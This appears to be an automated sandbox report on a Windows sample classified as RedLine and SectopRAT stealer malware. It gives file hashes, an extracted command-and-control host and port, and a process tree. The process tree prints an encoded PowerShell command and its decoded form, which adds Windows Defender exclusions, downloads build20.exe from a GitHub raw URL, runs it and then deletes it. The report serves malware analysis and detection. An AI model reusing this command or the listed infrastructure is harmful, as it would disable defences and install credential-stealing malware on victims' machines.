Analysis
- max time kernel
105s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
29/08/2025, 03:11
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
Resource
win10v2004-20250610-en
15 signatures
150 seconds
General
- Target 2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
- Size 974KB
- Sample250829-dpyg7sysbv
- SHA256 b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad
- MD5 4d3a87cb9325abf631c81ebb64ee162e
- SHA1 1ff315eb4f2594781f038b8f05ff852b4e8171e3
- SHA512 2f65b4616cce2eb50f198d6aad19646b7e579a95d50aa072726480d30042a8081436319f75a73711b572f3e84faa2db26e313b88589bd4189fe007cf23493656
- SSDEEP 12288:RmTNh7sB/TVOv2JkVtNmnQIiImZJpRh0y9pxJs:RqNh7sB/TV5JkVtNmnQIi1h06f
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
redline
Botnet
-
ALICE2
C2
-
pepesigmarespect.servemp3.com:25920
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
resource yara_rule behavioral1/files/0x000800000002420a-32.dat family_redline behavioral1/memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp family_redline - Redline family
- SectopRAT payload 2 IoCs
resource yara_rule behavioral1/files/0x000800000002420a-32.dat family_sectoprat behavioral1/memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp family_sectoprat - Sectoprat family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 3740 powershell.exe 8 3740 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3740 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 8 3740 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2140 build20.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 7 raw.githubusercontent.com 8 raw.githubusercontent.com - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language build20.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5892 powershell.exe 5892 powershell.exe 3740 powershell.exe 3740 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5892 powershell.exe Token: SeDebugPrivilege 3740 powershell.exe Token: SeDebugPrivilege 2140 build20.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5672 wrote to memory of 3624 5672 2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe 85 PID 5672 wrote to memory of 3624 5672 2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe 85 PID 3624 wrote to memory of 5892 3624 cmd.exe 86 PID 3624 wrote to memory of 5892 3624 cmd.exe 86 PID 5892 wrote to memory of 3740 5892 powershell.exe 87 PID 5892 wrote to memory of 3740 5892 powershell.exe 87 PID 3740 wrote to memory of 2140 3740 powershell.exe 89 PID 3740 wrote to memory of 2140 3740 powershell.exe 89 PID 3740 wrote to memory of 2140 3740 powershell.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe"C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA2⤵
- Suspicious use of WriteProcessMemory
PID:3624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\build20.exe" https://github.com/euca404/testpepechecker/raw/refs/heads/main/build20.exe ; START $env:TEMP\build20.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/build20.exe4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Users\Admin\AppData\Local\Temp\build20.exe"C:\Users\Admin\AppData\Local\Temp\build20.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2140
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
- MD5 6cf293cb4d80be23433eecf74ddb5503
- SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
- SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 9dc625f0ca4b3d4caffcc47e640b71b09ffc42b30dc09a0c8df4a0031d4f1934
- MD5 94c0992fcd63ebf2e009ba3a2c15523b
- SHA1 f25b7c0ab8af2dada53ace9ea2a06167e42f9a12
- SHA512 24e2abaeaa2b435455edb3e178e6ed7ea61eb3057d6a50d003d6ac04202b4beb0bfc4a462fcc4cf88276398899e0c4c9a705b883bca01275a59817d059351317
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odrxz24v.vmu.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\build20.exe
- Size 95KB
- SHA256 2d18440cd33a632db4305a1cfc552facf7591668e83cf34c5851cc94afd78aa8
- MD5 7e6374dc248096dd96bd91084d494716
- SHA1 cbf42b70d643aea482a66c97155cafbfa4fa7b53
- SHA512 7eee8cf2665f454d60f6dfbd64f5372f1d2a681a1cf88a4e91d6fbacfa197c209072bf33caea67c34b371940555f8ca0d0251f2fa5f8737000d6a72a086c8eb9
- SSDEEP 1536:OqsoEUq5klbG6jejoigI/43Ywzi0Zb78ivombfexv0ujXyyed2ctmulgS6pc:s7UycY/+zi0ZbYe1g0ujyzdIc
- MD5 SHA1 SHA512 SSDEEP